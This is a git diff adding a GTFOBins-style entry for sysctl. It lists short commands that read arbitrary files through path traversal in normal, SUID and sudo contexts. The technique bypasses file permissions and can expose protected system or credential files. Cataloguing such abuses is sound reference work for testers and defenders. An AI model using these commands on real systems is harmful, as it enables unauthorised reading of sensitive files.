diff --git a/_gtfobins/sysctl.md b/_gtfobins/sysctl.md new file mode 100644 index 0000000..3123e23 --- /dev/null +++ b/_gtfobins/sysctl.md @@ -0,0 +1,16 @@ +--- +functions: + file-read: + - description: It reads data from arbitrary files when combined with a path-traversal. The -p argument can also be used in place of -n. + - code: | + LFILE=file_to_read + sysctl -n "/../../../../../$LFILE" + suid: + - code: | + LFILE=file_to_read + ./sysctl -n "/../../../../../$LFILE" + sudo: + - code: | + LFILE=file_to_read + sudo sysctl -n "/../../../../../$LFILE" +---